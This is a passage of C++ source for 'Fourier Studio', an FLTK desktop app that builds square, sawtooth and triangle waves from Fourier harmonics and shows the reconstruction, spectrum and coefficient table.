};
class Series {
Waveform waveform_;
double amplitude_, phase_, dc_, rmse_;
std::vector<double> x_, target_, approximation_;
std::vector<Harmonic> harmonics_;
double error() const
{
double sum = 0.0;
for (unsigned i = 0; i < target_.size(); ++i) {
double difference = target_[i] - approximation_[i];
sum += difference * difference;
}
return std::sqrt(sum / target_.size());
}
public:
Series() : waveform_(SQUARE), amplitude_(1), phase_(0), dc_(0), rmse_(0) {}
void reset(Waveform waveform, double amplitude, double phase, int samples)
{
waveform_ = waveform;
amplitude_ = amplitude;
phase_ = phase;
harmonics_.clear();
x_.resize(samples);
target_.resize(samples);
approximation_.resize(samples);
dc_ = 0.0;
// Sample one period, excluding the duplicated right endpoint.
for (int i = 0; i < samples; ++i) {
x_[i] = -pi + 2.0 * pi * i / samples;
target_[i] = amplitude * signal(waveform, x_[i] + phase);
dc_ += target_[i];
}
dc_ /= samples;
for (int i = 0; i < samples; ++i)
approximation_[i] = dc_;
rmse_ = error();
}
bool add_harmonic()
{
int n = terms() + 1;
// Stay strictly below Nyquist, where this normalization is valid.
if (x_.empty() || 2 * n >= samples())
return false;
Harmonic term = { 0.0, 0.0, 0.0 };
for (int i = 0; i < samples(); ++i) {
term.cosine += target_[i] * std::cos(n * x_[i]);
term.sine += target_[i] * std::sin(n * x_[i]);
}
term.cosine *= 2.0 / samples();
term.sine *= 2.0 / samples();
for (int i = 0; i < samples(); ++i)
approximation_[i] += term.cosine * std::cos(n * x_[i])
+ term.sine * std::sin(n * x_[i]);
term.rmse = rmse_ = error();
harmonics_.push_back(term);
return true;
}
Waveform waveform() const { return waveform_; }
double amplitude() const { return amplitude_; }
double phase() const { return phase_; }
double dc() const { return dc_; }
double rmse() const { return rmse_; }
int samples() const { return static_cast<int>(x_.size()); }
int terms() const { return static_cast<int>(harmonics_.size()); }
const Harmonic &harmonic(int i) const { return harmonics_[i]; }
double x(int i) const { return x_[i]; }
double target(int i) const { return target_[i]; }
double approximation(int i) const { return approximation_[i]; }
};
} // namespace fourier
#endif
fourier_studio.cppC++ / 1379 lines
#include <stdio.h>
#include <algorithm>
#include <FL/Fl.H>
#include <FL/Fl_Double_Window.H>
#include <FL/Fl_Group.H>
#include <FL/Fl_Button.H>
#include <FL/Fl_Choice.H>
#include <FL/Fl_Valuator.H>
#include <FL/Fl_Table.H>
#include <FL/Fl_Tooltip.H>
#include <FL/Fl_Native_File_Chooser.H>
#include <FL/filename.H>
#include <FL/fl_ask.H>
#include <FL/fl_draw.H>
#include "fourier_series.h"
#include "studio_drawing.h"
namespace ui {
const Fl_Color canvas = fl_rgb_color(246, 246, 249);
const Fl_Color paper = fl_rgb_color(255, 255, 255);
const Fl_Color ink = fl_rgb_color(37, 40, 57);
const Fl_Color muted = fl_rgb_color(127, 132, 149);
const Fl_Color line = fl_rgb_color(232, 234, 241);
const Fl_Color accent = fl_rgb_color(116, 93, 224);
const Fl_Color accent_dark = fl_rgb_color(94, 72, 195);
const Fl_Color tint = fl_rgb_color(242, 239, 255);
const Fl_Color target = fl_rgb_color(131, 145, 151);
const Fl_Color green = fl_rgb_color(51, 154, 119);
enum {
window_w = 1220,
window_h = 860,
min_w = 1040,
min_h = 760,
margin = 24,
sidebar_w = 260,
content_x = 308
};
static void round_fill(int x, int y, int w, int h, int r, Fl_Color color)
{
drawing::round_rect(x, y, w, h, r, color);
}
static void card(int x, int y, int w, int h)
{
round_fill(x, y, w, h, 14, line);
round_fill(x + 1, y + 1, w - 2, h - 2, 13, paper);
}
static void text(const char *s, int x, int y, int size = 13,
Fl_Color color = ink, Fl_Font font = FL_HELVETICA)
{
drawing::font(font, size);
drawing::color(color);
drawing::draw(s, x, y);
}
static void triangle_icon(int x, int y, int w, int h)
{
drawing::line(x, y + h / 2, x + w / 4, y);
drawing::line(x + w / 4, y, x + 3 * w / 4, y + h);
drawing::line(x + 3 * w / 4, y + h, x + w, y + h / 2);
}
static void wave_icon(int x, int y, int w, int h, int wave, Fl_Color color)
{
drawing::color(color);
drawing::line_style(FL_SOLID, 2);
if (wave == fourier::SQUARE) {
drawing::line(x, y + h, x, y);
drawing::line(x, y, x + w / 2, y);
drawing::line(x + w / 2, y, x + w / 2, y + h);
drawing::line(x + w / 2, y + h, x + w, y + h);
drawing::line(x + w, y + h, x + w, y);
} else if (wave == fourier::SAWTOOTH) {
drawing::line(x, y + h, x + w / 2, y);
drawing::line(x + w / 2, y, x + w / 2, y + h);
drawing::line(x + w / 2, y + h, x + w, y);
} else
triangle_icon(x, y, w, h);
drawing::line_style(0);
}
} // namespace ui
class Header : public Fl_Widget {
protected:
void draw_logo()
{
ui::round_fill(24, 28, 40, 40, 12, ui::accent);
drawing::color(ui::paper);
drawing::line_style(FL_SOLID, 2);
for (int i = 1; i <= 28; ++i) {
double y0 = 48 - 9 * std::sin((i - 1) * 2 * fourier::pi / 28);
double y1 = 48 - 9 * std::sin(i * 2 * fourier::pi / 28);
drawing::line(30 + i - 1, y0, 30 + i, y1);
}
drawing::line_style(0);
}
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
drawing::color(ui::canvas);
drawing::rectf(x(), y(), w(), h());
draw_logo();
ui::text("Fourier Studio", 80, 46, 25, ui::ink, FL_HELVETICA_BOLD);
ui::text("A signal playground. Build something from a little sine.", 81,
69, 13, ui::muted);
ui::round_fill(w() - 306, 37, 130, 26, 13, fl_rgb_color(233, 247, 241));
drawing::color(ui::green);
drawing::pie(w() - 292, 47, 6, 6, 0, 360);
ui::text("INTERACTIVE", w() - 278, 54, 10, ui::green,
FL_HELVETICA_BOLD);
drawing::pop_clip();
}
public:
Header() : Fl_Widget(0, 0, ui::window_w, 90) {}
};
class Sidebar : public Fl_Group {
const fourier::Series *series_;
protected:
void draw_hints()
{
const char *hints[] = { "Sharp edges. Odd harmonics.",
"A ramp. Every harmonic.",
"Soft corners. Fast convergence." };
ui::text(hints[series_->waveform()], x() + 22, y() + 587, 12, ui::ink);
ui::text("Try adding a few more harmonics.", x() + 22, y() + 607, 11,
ui::muted);
if (h() > 680)
ui::text("Space: animate Ctrl+E: export", x() + 22,
y() + h() - 24, 11, ui::muted);
}
void draw_panel()
{
ui::card(x(), y(), w(), h());
ui::text("YOUR SIGNAL", x() + 22, y() + 29, 11, ui::muted,
FL_HELVETICA_BOLD);
drawing::color(ui::line);
drawing::line(x() + 22, y() + 142, x() + w() - 22, y() + 142);
ui::text("SAMPLE RESOLUTION", x() + 22, y() + 409, 11, ui::muted,
FL_HELVETICA_BOLD);
drawing::color(ui::line);
drawing::line(x() + 22, y() + 563, x() + w() - 22, y() + 563);
draw_hints();
}
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
if (damage() & ~FL_DAMAGE_CHILD)
draw_panel();
drawing::flush();
draw_children();
drawing::pop_clip();
}
public:
Sidebar(const fourier::Series *series)
: Fl_Group(24, 104, ui::sidebar_w, ui::window_h - 128), series_(series)
{
resizable(0);
}
};
class WaveSelector : public Fl_Widget {
int value_;
protected:
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
drawing::color(ui::paper);
drawing::rectf(x(), y(), w(), h());
const char *names[] = { "Square", "Sawtooth", "Triangle" };
for (int i = 0; i < 3; ++i) {
int X = x() + i * (w() + 6) / 3;
int W = (w() - 12) / 3;
bool selected = i == value_;
ui::round_fill(X, y(), W, h(), 10,
selected ? ui::accent : ui::line);
ui::round_fill(X + 1, y() + 1, W - 2, h() - 2, 9,
selected ? ui::tint : ui::paper);
ui::wave_icon(X + W / 2 - 17, y() + 17, 34, 20, i,
selected ? ui::accent : ui::target);
drawing::font(selected ? FL_HELVETICA_BOLD : FL_HELVETICA, 11);
drawing::color(selected ? ui::accent : ui::muted);
drawing::draw(names[i], X, y() + 48, W, 19, FL_ALIGN_CENTER);
}
drawing::pop_clip();
}
public:
WaveSelector() : Fl_Widget(46, 160, 216, 76), value_(0) {}
int value() const { return value_; }
void value(int n)
{
value_ = n;
redraw();
}
private:
void select_from_mouse()
{
int n = std::min(2, std::max(0, (Fl::event_x() - x()) * 3 / w()));
if (n != value_) {
value(n);
do_callback();
}
}
public:
int handle(int event)
{
if (event == FL_PUSH) {
take_focus();
select_from_mouse();
return 1;
}
if (event == FL_KEYDOWN
&& (Fl::event_key() == FL_Left || Fl::event_key() == FL_Right)) {
value((value_ + (Fl::event_key() == FL_Right ? 1 : 2)) % 3);
do_callback();
return 1;
}
if (event == FL_FOCUS || event == FL_UNFOCUS) {
redraw();
return 1;
}
return 0;
}
};
class StudioSlider : public Fl_Valuator {
int format_;
bool dragging_;
void from_mouse()
{
double fraction =
static_cast<double>(Fl::event_x() - x() - 7) / (w() - 14);
fraction = std::max(0.0, std::min(1.0, fraction));
handle_drag(
clamp(round(minimum() + fraction * (maximum() - minimum()))));
}
protected:
void draw_value()
{
char text[40];
if (format_ == 0)
snprintf(text, sizeof(text), "%.2f", value());
else if (format_ == 1)
snprintf(text, sizeof(text), "%.0f°", value());
else
snprintf(text, sizeof(text), "%.0f", value());
ui::round_fill(x() + w() - 58, y(), 58, 25, 7, ui::tint);
drawing::font(FL_HELVETICA_BOLD, 12);
drawing::color(ui::accent);
drawing::draw(text, x() + w() - 58, y(), 58, 25, FL_ALIGN_CENTER);
}
void draw_track()
{
int left = x() + 7, width = w() - 14;
int position = left
+ static_cast<int>(width * (value() - minimum())
/ (maximum() - minimum()));
ui::round_fill(left, y() + 43, width, 5, 2, ui::line);
if (position > left)
ui::round_fill(left, y() + 43, position - left, 5, 2, ui::accent);
drawing::color(ui::accent);
drawing::pie(position - 8, y() + 37, 16, 16, 0, 360);
drawing::color(ui::paper);
drawing::pie(position - 5, y() + 40, 10, 10, 0, 360);
}
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
drawing::color(ui::paper);
drawing::rectf(x(), y(), w(), h());
ui::text(label(), x(), y() + 17, 13, ui::ink, FL_HELVETICA_BOLD);
draw_value();
draw_track();
if (Fl::focus() == this) {
drawing::color(ui::accent);
drawing::line(x(), y() + h() - 1, x() + w(), y() + h() - 1);
}
drawing::pop_clip();
}
public:
StudioSlider(int Y, const char *label, int format)
: Fl_Valuator(46, Y, 216, 62, label), format_(format), dragging_(false)
{
align(FL_ALIGN_INSIDE);
when(FL_WHEN_CHANGED);
}
private:
void begin_drag()
{
take_focus();
dragging_ = true;
handle_push();
from_mouse();
}
int handle_mouse(int event)
{
if (event == FL_PUSH)
begin_drag();
else if (event == FL_DRAG) {
if (dragging_)
from_mouse();
} else {
dragging_ = false;
handle_release();
}
return 1;
}
void step_by_key(int direction)
{
handle_push();
handle_drag(clamp(increment(value(), direction)));
handle_release();
}
void jump_by_key(int key)
{
handle_push();
handle_drag(key == FL_Home ? minimum() : maximum());
handle_release();
}
int handle_key()
{
int key = Fl::event_key();
if (key == FL_Left || key == FL_Right || key == FL_Up
|| key == FL_Down) {
int direction = key == FL_Right || key == FL_Up ? 1 : -1;
step_by_key(direction);
return 1;
}
if (key == FL_Home || key == FL_End) {
jump_by_key(key);
return 1;
}
return 0;
}
public:
int handle(int event)
{
if (event == FL_PUSH || event == FL_DRAG || event == FL_RELEASE)
return handle_mouse(event);
if (event == FL_KEYDOWN)
return handle_key();
if (event == FL_FOCUS || event == FL_UNFOCUS) {
redraw();
return 1;
}
return 0;
}
};
class SampleChoice : public Fl_Choice {
protected:
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
ui::round_fill(x(), y(), w(), h(), 9,
Fl::focus() == this ? ui::accent : ui::line);
ui::round_fill(x() + 1, y() + 1, w() - 2, h() - 2, 8, ui::paper);
ui::text(text(), x() + 14, y() + 26, 13);
drawing::color(ui::muted);
drawing::line(x() + w() - 25, y() + 17, x() + w() - 20, y() + 22,
x() + w() - 15, y() + 17);
drawing::pop_clip();
}
public:
SampleChoice() : Fl_Choice(46, 538, 216, 42)
{
add("256 samples|512 samples|1,024 samples|2,048 samples");
value(2);
textsize(13);
color(ui::paper);
textcolor(ui::ink);
selection_color(ui::accent);
}
};
class ActionButton : public Fl_Button {
bool primary_, hover_;
int icon_;
protected:
void draw_background()
{
Fl_Color fill = primary_
? (value() || hover_ ? ui::accent_dark : ui::accent)
: ui::paper;
if (!active_r())
fill = ui::line;
ui::round_fill(x(), y(), w(), h(), 10, primary_ ? fill : ui::line);
if (!primary_)
ui::round_fill(x() + 1, y() + 1, w() - 2, h() - 2, 9,
hover_ ? ui::canvas : fill);
}
void draw_play_icon()
{
if (label()[0] == 'P') {
drawing::rectf(x() + 18, y() + h() / 2 - 5, 3, 10);
drawing::rectf(x() + 24, y() + h() / 2 - 5, 3, 10);
} else {
drawing::polygon(x() + 18, y() + h() / 2 - 5, x() + 18,
y() + h() / 2 + 5, x() + 26, y() + h() / 2);
}
}
void draw_download_icon()
{
int X = x() + 20, Y = y() + h() / 2;
drawing::line(X, Y - 7, X, Y + 3);
drawing::line(X - 4, Y - 1, X, Y + 3, X + 4, Y - 1);
drawing::line(X - 6, Y + 7, X + 6, Y + 7);
}
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
draw_background();
drawing::font(FL_HELVETICA_BOLD, 13);
drawing::color(primary_ && active_r()
? ui::paper
: (active_r() ? ui::ink : ui::muted));
if (icon_ == 1)
draw_play_icon();
else if (icon_ == 2)
draw_download_icon();
drawing::draw(label(), x() + (icon_ ? 15 : 0), y(),
w() - (icon_ ? 15 : 0), h(), FL_ALIGN_CENTER);
if (Fl::focus() == this) {
drawing::color(primary_ ? ui::paper : ui::accent);
drawing::line(x() + 14, y() + h() - 7, x() + w() - 14,
y() + h() - 7);
}
drawing::pop_clip();
}
public:
ActionButton(int X, int Y, int W, int H, const char *label, bool primary,
bool export_icon = false)
: Fl_Button(X, Y, W, H, label), primary_(primary), hover_(false),
icon_(primary ? 1 : (export_icon ? 2 : 0))
{}
int handle(int event)
{
if (event == FL_ENTER || event == FL_LEAVE) {
hover_ = event == FL_ENTER;
redraw();
}
return Fl_Button::handle(event);
}
};
class Metric : public Fl_Widget {
char value_[48], hint_[96];
protected:
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
ui::card(x(), y(), w(), h());
ui::text(label(), x() + 20, y() + 24, 10, ui::muted, FL_HELVETICA_BOLD);
ui::text(value_, x() + 20, y() + 59, 28, ui::ink, FL_HELVETICA_BOLD);
ui::text(hint_, x() + 20, y() + 79, 11, ui::muted);
drawing::pop_clip();
}
public:
Metric(const char *label) : Fl_Widget(0, 104, 200, 96, label)
{
value_[0] = hint_[0] = '\0';
}
void display(const char *value, const char *hint)
{
snprintf(value_, sizeof(value_), "%s", value);
snprintf(hint_, sizeof(hint_), "%s", hint);
redraw();
}
};
class WaveformPlot : public Fl_Widget {
const fourier::Series *series_;
int hover_, requested_;
bool playing_;
int graph_x() const { return x() + 60; }
int graph_y() const { return y() + 82; }
int graph_w() const { return w() - 86; }
int graph_h() const { return h() - 123; }
double point_y(double value) const
{
return graph_y()
+ graph_h() * (0.5 - value / (2.9 * series_->amplitude()));
}
protected:
void draw_header()
{
ui::text("Waveform reconstruction", x() + 22, y() + 31, 17, ui::ink,
FL_HELVETICA_BOLD);
char subtitle[120];
const char *state = playing_ ? "building the series…" : "one period";
snprintf(subtitle, sizeof(subtitle),
"%s wave · %d / %d harmonics · %s",
fourier::name(series_->waveform()), series_->terms(),
requested_, state);
ui::text(subtitle, x() + 22, y() + 52, 11, ui::muted);
}
void draw_legend()
{
drawing::color(ui::target);
drawing::line_style(FL_DASH, 1);
drawing::line(x() + w() - 246, y() + 28, x() + w() - 226, y() + 28);
drawing::line_style(0);
ui::text("Target", x() + w() - 218, y() + 32, 11, ui::muted);
drawing::color(ui::accent);
drawing::line_style(FL_SOLID, 2);
drawing::line(x() + w() - 158, y() + 28, x() + w() - 138, y() + 28);
drawing::line_style(0);
ui::text("Fourier series", x() + w() - 130, y() + 32, 11, ui::accent);
}
double point_x(int sample) const
{
return graph_x()
+ static_cast<double>(graph_w()) * sample / series_->samples();
}
bool has_hover() const
{
return hover_ >= 0 && hover_ < series_->samples();
}
void draw_fill()
{
drawing::color(fl_rgb_color(248, 246, 255));
drawing::begin_complex_polygon();
drawing::vertex(graph_x(), point_y(0));
for (int i = 0; i <= series_->samples(); ++i)
drawing::vertex(point_x(i), point_y(series_->approximation(
i % series_->samples())));
drawing::vertex(graph_x() + graph_w(), point_y(0));
drawing::end_complex_polygon();
}
void draw_grid()
{
int X = graph_x(), Y = graph_y(), W = graph_w(), H = graph_h();
for (int i = -2; i <= 2; ++i) {
drawing::color(i ? ui::line : fl_rgb_color(214, 216, 229));
int yy = static_cast<int>(point_y(series_->amplitude() * i / 2.0));
drawing::line(X, yy, X + W, yy);
}
for (int i = 0; i < 5; ++i) {
drawing::color(ui::line);
drawing::line(X + W * i / 4, Y, X + W * i / 4, Y + H);
}
}
void draw_curve(int curve)
{
drawing::color(curve ? ui::accent : ui::target);
drawing::line_style(curve ? FL_SOLID : FL_DASH, curve ? 2 : 1);
drawing::begin_line();
for (int i = 0; i <= series_->samples(); ++i) {
int sample = i % series_->samples();
drawing::vertex(point_x(i),
point_y(curve ? series_->approximation(sample)
: series_->target(sample)));
}
drawing::end_line();
}
void draw_hover_point()
{
int hx = graph_x() + graph_w() * hover_ / series_->samples();
int hy = static_cast<int>(point_y(series_->approximation(hover_)));
drawing::color(ui::accent);
drawing::line_style(FL_DOT, 1);
drawing::line(hx, graph_y(), hx, graph_y() + graph_h());
drawing::line_style(0);
drawing::color(ui::paper);
drawing::pie(hx - 5, hy - 5, 10, 10, 0, 360);
drawing::color(ui::accent);
drawing::pie(hx - 3, hy - 3, 6, 6, 0, 360);
}
void draw_vertical_ticks()
{
for (int i = -2; i <= 2; ++i) {
char text[32];
double value = series_->amplitude() * i / 2.0;
snprintf(text, sizeof(text), "%.2g", value);
drawing::font(FL_HELVETICA, 11);
drawing::color(ui::muted);
drawing::draw(text, x() + 10, static_cast<int>(point_y(value)) - 8,
39, 16, FL_ALIGN_RIGHT);
}
}
void draw_horizontal_ticks()
{
const char *ticks[] = { "-π", "-π/2", "0", "π/2", "π" };
for (int i = 0; i < 5; ++i) {
drawing::font(FL_HELVETICA, 11);
drawing::color(ui::muted);
drawing::draw(ticks[i], graph_x() + graph_w() * i / 4 - 22,
graph_y() + graph_h() + 14, 44, 18, FL_ALIGN_CENTER);
}
}
void draw_readout()
{
int bx =
std::min(graph_x() + graph_w() - 180,
graph_x() + graph_w() * hover_ / series_->samples() + 14);
int by = graph_y() + 10;
ui::round_fill(bx, by, 180, 76, 10, ui::ink);
char text[64];
snprintf(text, sizeof(text), "x = %.3f", series_->x(hover_));
ui::text(text, bx + 12, by + 21, 11, ui::paper, FL_HELVETICA_BOLD);
snprintf(text, sizeof(text), "Target % .4f",
series_->target(hover_));
ui::text(text, bx + 12, by + 43, 11, fl_rgb_color(204, 211, 220));
snprintf(text, sizeof(text), "Series % .4f",
series_->approximation(hover_));
ui::text(text, bx + 12, by + 62, 11, fl_rgb_color(194, 180, 255));
}
void draw_graph()
{
drawing::push_clip(graph_x(), graph_y(), graph_w() + 1, graph_h() + 1);
draw_fill();
draw_grid();
draw_curve(0);
draw_curve(1);
drawing::line_style(0);
if (has_hover())
draw_hover_point();
drawing::pop_clip();
draw_vertical_ticks();
draw_horizontal_ticks();
if (has_hover())
draw_readout();
}
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
ui::card(x(), y(), w(), h());
draw_header();
draw_legend();
if (series_->samples())
draw_graph();
drawing::pop_clip();
}
public:
WaveformPlot(const fourier::Series *series)
: Fl_Widget(0, 0, 700, 390), series_(series), hover_(-1),
requested_(15), playing_(false)
{}
void state(bool playing, int requested)
{
playing_ = playing;
requested_ = requested;
hover_ = -1;
redraw();
}
private:
void update_hover()
{
if (Fl::event_x() >= graph_x() && Fl::event_x() <= graph_x() + graph_w()
&& Fl::event_y() >= graph_y()
&& Fl::event_y() <= graph_y() + graph_h()) {
hover_ = std::min(series_->samples() - 1,
(Fl::event_x() - graph_x()) * series_->samples()
/ graph_w());
} else
hover_ = -1;
redraw();
}
public:
int handle(int event)
{
if (event == FL_MOVE || event == FL_ENTER) {
update_hover();
return 1;
}
if (event == FL_LEAVE) {
hover_ = -1;
redraw();
return 1;
}
return 0;
}
};
class Spectrum : public Fl_Widget {
const fourier::Series *series_;
int requested_;
protected:
double harmonic_amplitude(int i) const
{
const fourier::Harmonic &term = series_->harmonic(i);
return std::sqrt(term.cosine * term.cosine + term.sine * term.sine);
}
double maximum_amplitude() const
{
double maximum = 0.0;
for (int i = 0; i < series_->terms(); ++i)
maximum = std::max(maximum, harmonic_amplitude(i));
return maximum;
}
void draw_grid()
{
int left = x() + 22, top = y() + 18;
int width = w() - 36, height = h() - 45;
for (int i = 0; i < 3; ++i) {
drawing::color(ui::line);
drawing::line(left, top + height * i / 2, left + width,
top + height * i / 2);
}
}
void draw_peak(int center, int top, double amplitude)
{
char text[24];
snprintf(text, sizeof(text), "%.3f", amplitude);
drawing::font(FL_HELVETICA_BOLD, 10);
drawing::color(ui::accent);
drawing::draw(text, center - 30, top - 22, 60, 18, FL_ALIGN_CENTER);
}
void draw_bar(int i, int center, double maximum, double scale)
{
if (i >= series_->terms())
return;
int bins = std::max(16, requested_);
int bar_w = std::max(2, std::min(20, (w() - 36) / bins - 5));
double amplitude = harmonic_amplitude(i);
int bar_h = static_cast<int>((h() - 45) * amplitude / scale);
if (bar_h <= 1)
return;
int top = y() + 18 + h() - 45 - bar_h;
ui::round_fill(center - bar_w / 2, top, bar_w, bar_h,
std::min(4, bar_w / 2), ui::accent);
if (amplitude > maximum * 0.99)
draw_peak(center, top, amplitude);
}
void draw_bin_label(int i, int center, int bins)
{
bool tick = i == 0 || i == bins - 1
|| (bins <= 24 ? (i + 1) % 4 == 0 : (i + 1) % 10 == 0);
if (!tick)
return;
char text[24];
snprintf(text, sizeof(text), "%d", i + 1);
drawing::font(FL_HELVETICA, 10);
drawing::color(ui::muted);
drawing::draw(text, center - 18, y() + 18 + h() - 45 + 8, 36, 17,
FL_ALIGN_CENTER);
}
void draw_bars(double maximum, double scale)
{
int bins = std::max(16, requested_);
int left = x() + 22, width = w() - 36;
for (int i = 0; i < bins; ++i) {
int center = left + width * (2 * i + 1) / (2 * bins);
draw_bar(i, center, maximum, scale);
draw_bin_label(i, center, bins);
}
}
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
drawing::color(ui::paper);
drawing::rectf(x(), y(), w(), h());
double maximum = maximum_amplitude();
double scale = maximum > 1e-12 ? maximum * 1.25 : 1.0;
draw_grid();
draw_bars(maximum, scale);
drawing::pop_clip();
}
public:
Spectrum(const fourier::Series *series)
: Fl_Widget(0, 0, 700, 150), series_(series), requested_(15)
{}
void requested(int n)
{
requested_ = n;
redraw();
}
};
class CoefficientTable : public Fl_Table {
const fourier::Series *series_;
protected:
double cell_value(int r, int c) const
{
const fourier::Harmonic &term = series_->harmonic(r);
double value = c == 1 ? term.cosine : (c == 2 ? term.sine : term.rmse);
return std::fabs(value) < 0.000005 ? 0.0 : value;
}
void cell_text(char *text, size_t size, TableContext context, int r,
int c) const
{
if (context == CONTEXT_COL_HEADER) {
const char *titles[] = { "HARMONIC", "COSINE a_n", "SINE b_n",
"RMS ERROR" };
snprintf(text, size, "%s", titles[c]);
} else if (c == 0)
snprintf(text, size, "%02d", r + 1);
else if (r < series_->terms())
snprintf(text, size, "%.5f", cell_value(r, c));
else
snprintf(text, size, "-");
}
void draw_background(TableContext context, int r, int c, int X, int Y,
int W, int H)
{
drawing::color(context == CONTEXT_COL_HEADER
? ui::canvas
: (is_selected(r, c) ? ui::tint : ui::paper));
drawing::rectf(X, Y, W, H);
drawing::color(ui::line);
drawing::line(X, Y + H - 1, X + W, Y + H - 1);
}
void draw_content(TableContext context, int r, int c, int X, int Y, int W,
int H)
{
char text[80];
cell_text(text, sizeof(text), context, r, c);
drawing::font(context == CONTEXT_COL_HEADER ? FL_HELVETICA_BOLD
: FL_HELVETICA,
context == CONTEXT_COL_HEADER ? 10 : 12);
drawing::color(context == CONTEXT_COL_HEADER || r >= series_->terms()
? ui::muted
: ui::ink);
drawing::draw(text, X + 10, Y, W - 20, H, FL_ALIGN_LEFT);
}
void draw_cell(TableContext context, int r, int c, int X, int Y, int W,
int H)
{
if (context != CONTEXT_COL_HEADER && context != CONTEXT_CELL)
return;
drawing::Scope paint(this);
drawing::push_clip(X, Y, W, H);
draw_background(context, r, c, X, Y, W, H);
draw_content(context, r, c, X, Y, W, H);
drawing::pop_clip();
}
public:
CoefficientTable(const fourier::Series *series)
: Fl_Table(0, 0, 700, 150), series_(series)
{
cols(4);
rows(0);
col_header(1);
col_header_height(29);
box(FL_NO_BOX); // Filled boxes would cover the table's scrollbars.
color(ui::paper);
vscrollbar->color(ui::canvas);
vscrollbar->selection_color(fl_rgb_color(207, 208, 224));
hscrollbar->color(ui::canvas);
hscrollbar->selection_color(fl_rgb_color(207, 208, 224));
end();
}
void resize(int X, int Y, int W, int H)
{
Fl_Table::resize(X, Y, W, H);
col_width(0, 115);
int remaining = W - 115 - Fl::scrollbar_size();
col_width(1, remaining / 3);
col_width(2, remaining / 3);
col_width(3, remaining - 2 * (remaining / 3));
}
void reset(int count)
{
rows(count);
row_height_all(31);
row_position(0);
redraw();
}
};
class ViewToggle : public Fl_Widget {
int value_;
protected:
void draw()
{
drawing::Scope paint(this);
ui::round_fill(x(), y(), w(), h(), 9, ui::canvas);
int selected_x = x() + value_ * (w() / 2);
ui::round_fill(selected_x + 3, y() + 3, w() / 2 - 6, h() - 6, 7,
ui::paper);
const char *labels[] = { "Spectrum", "Coefficients" };
for (int i = 0; i < 2; ++i) {
drawing::font(i == value_ ? FL_HELVETICA_BOLD : FL_HELVETICA, 11);
drawing::color(i == value_ ? ui::ink : ui::muted);
drawing::draw(labels[i], x() + w() * i / 2, y(), w() / 2, h(),
FL_ALIGN_CENTER);
}
}
public:
ViewToggle() : Fl_Widget(0, 0, 228, 34), value_(0) {}
int value() const { return value_; }
void value(int n)
{
value_ = n;
redraw();
}
int handle(int event)
{
if (event == FL_PUSH) {
take_focus();
value(Fl::event_x() >= x() + w() / 2 ? 1 : 0);
do_callback();
return 1;
}
if (event == FL_KEYDOWN
&& (Fl::event_key() == FL_Left || Fl::event_key() == FL_Right)) {
value(1 - value_);
do_callback();
return 1;
}
if (event == FL_FOCUS || event == FL_UNFOCUS)
return 1;
return 0;
}
};
class Inspector : public Fl_Group {
static void view_cb(Fl_Widget *, void *data)
{
Inspector *panel = static_cast<Inspector*>(data);
if (panel->toggle->value()) {
panel->spectrum->hide();
panel->table->show();
} else {
panel->table->hide();
panel->spectrum->show();
}
panel->redraw();
}
protected:
void draw()
{
drawing::Scope paint(this);
drawing::push_clip(x(), y(), w(), h());
// A child can redraw only a few table cells. Preserve the existing
// background and other cells unless the entire panel is damaged.
if (damage() & ~FL_DAMAGE_CHILD) {
ui::card(x(), y(), w(), h());
ui::text(toggle->value() ? "Inside the series"
: "Frequency spectrum",
x() + 22, y() + 30, 16, ui::ink, FL_HELVETICA_BOLD);
ui::text(toggle->value()
? "Coefficients and error after each harmonic."
: "Each bar is the strength of a harmonic.",
x() + 22, y() + 50, 11, ui::muted);
}
drawing::flush();
draw_children();
drawing::pop_clip();
}
public:
ViewToggle *toggle;
Spectrum *spectrum;
CoefficientTable *table;
Inspector(const fourier::Series *series) : Fl_Group(0, 0, 700, 220)
{
toggle = new ViewToggle();
toggle->callback(view_cb, this);
spectrum = new Spectrum(series);
table = new CoefficientTable(series);
table->hide();
end();
}
void resize(int X, int Y, int W, int H)
{
Fl_Widget::resize(X, Y, W, H);
toggle->resize(X + W - 250, Y + 17, 228, 34);
spectrum->resize(X + 16, Y + 65, W - 32, H - 78);
table->resize(X + 16, Y + 65, W - 32, H - 81);
redraw();
}
};
struct App {
fourier::Series series;
Header *header;
Sidebar *sidebar;
WaveSelector *waveform;
StudioSlider *amplitude, *phase, *harmonics;
SampleChoice *samples;
ActionButton *animate, *reset, *save;
Metric *error, *energy, *terms;
WaveformPlot *plot;
Inspector *inspector;
int requested;
bool playing;
App() : requested(15), playing(false) {}
};
static void animation_tick(void *data);
static double captured_energy(const fourier::Series &series)
{
double energy = 0.0;
for (int i = 0; i < series.samples(); ++i)
energy += series.target(i) * series.target(i);
if (energy == 0.0)
return 100.0;
double remaining = series.rmse() * series.rmse() * series.samples();
return std::max(0.0, std::min(100.0, 100.0 * (1.0 - remaining / energy)));
}
static void refresh(App *a)
{
char value[48];
snprintf(value, sizeof(value), "%.4f", a->series.rmse());
a->error->display(value, "sampled difference from target");
snprintf(value, sizeof(value), "%.1f%%", captured_energy(a->series));
a->energy->display(value, "of the sampled signal");
if (a->series.terms() == a->requested)
snprintf(value, sizeof(value), "%d", a->requested);
else
snprintf(value, sizeof(value), "%d / %d", a->series.terms(),
a->requested);
a->terms->display(value, "sine + cosine frequency pairs");
a->animate->copy_label(
a->playing
? "Pause"
: (a->series.terms() < a->requested ? "Continue" : "Animate"));
a->plot->state(a->playing, a->requested);
a->inspector->spectrum->requested(a->requested);
a->inspector->table->redraw();
a->sidebar->redraw();
}
static void begin_series(App *a)
{
a->requested = static_cast<int>(a->harmonics->value());
a->series.reset(static_cast<fourier::Waveform>(a->waveform->value()),
a->amplitude->value(),
a->phase->value() * fourier::pi / 180.0,
256 << a->samples->value());
a->inspector->table->reset(a->requested);
}
static void rebuild(App *a)
{
a->playing = false;
Fl::remove_timeout(animation_tick, a);
begin_series(a);
for (int i = 0; i < a->requested; ++i)
a->series.add_harmonic();
refresh(a);
}
